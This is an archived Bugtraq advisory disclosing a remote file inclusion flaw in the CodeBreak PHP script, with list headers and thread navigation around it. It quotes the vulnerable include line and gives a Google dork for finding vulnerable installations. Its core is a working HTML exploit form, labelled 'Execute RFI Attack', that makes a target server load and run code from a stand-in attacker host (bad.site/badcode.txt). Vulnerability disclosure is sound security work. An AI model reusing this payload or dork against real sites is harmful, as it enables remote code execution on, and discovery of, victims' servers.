| To: | bugtraq@securityfocus.com |
|---|---|
| Subject: | CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability |
| From: | john@martinelli.com |
| Date: | 11 Apr 2007 18:25:52 -0000 |
| Delivered-to: | sp-com-lists@consult.net |
| Delivered-to: | bugtraq-list@securepoint.com |
| Delivered-to: | mailing list bugtraq@securityfocus.com |
| Delivered-to: | moderator for bugtraq@securityfocus.com |
| List-help: | <mailto:bugtraq-help@securityfocus.com> |
| List-id: | <bugtraq.list-id.securityfocus.com> |
| List-post: | <mailto:bugtraq@securityfocus.com> |
| List-subscribe: | <mailto:bugtraq-subscribe@securityfocus.com> |
| List-unsubscribe: | <mailto:bugtraq-unsubscribe@securityfocus.com> |
| Mailing-list: | contact bugtraq-help@securityfocus.com; run by ezmlm |
http://john-martinelli.com/work/codebreak.txt <!-- CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability Google d0rk: intitle:"CodeBreak - Hidden Morse Code" Vulnerable Code: include($_POST["process_method"] . "_" . $_POST["output_method"] . ".inc"); John Martinelli john@martinelli.com http://john-martinelli.com April 11th, 2007 !--> <html> <head><title>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</title><body> <center><br><br><font size=4>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com";>John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code";>intitle:"CodeBreak - Hidden Morse Code"</a></font><br> <br><br> <form action="http://www.target.com/codebreak.php"; method="post"> <input name="input_text" size=75 value="input_text" type=hidden> <input name="process_method" size=75 value="http://bad.site/badcode.txt?";> <input type=submit value="Execute RFI Attack" class="button"> </form> </body></html> |
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [MajorSecurity Advisory #43]Calacode ATMail 5.0 - Cross Site Scripting and Cookie Manipulation Issue, admin |
|---|---|
| Next by Date: | Re: On-going Internet Emergency and Domain Names, Alexander Klimov |
| Previous by Thread: | [MajorSecurity Advisory #43]Calacode ATMail 5.0 - Cross Site Scripting and Cookie Manipulation Issue, admin |
| Next by Thread: | Re: Latinchat Denial Of Service, d4rksoft |
| Indexes: | [Date] [Thread] [Top] [All Lists] |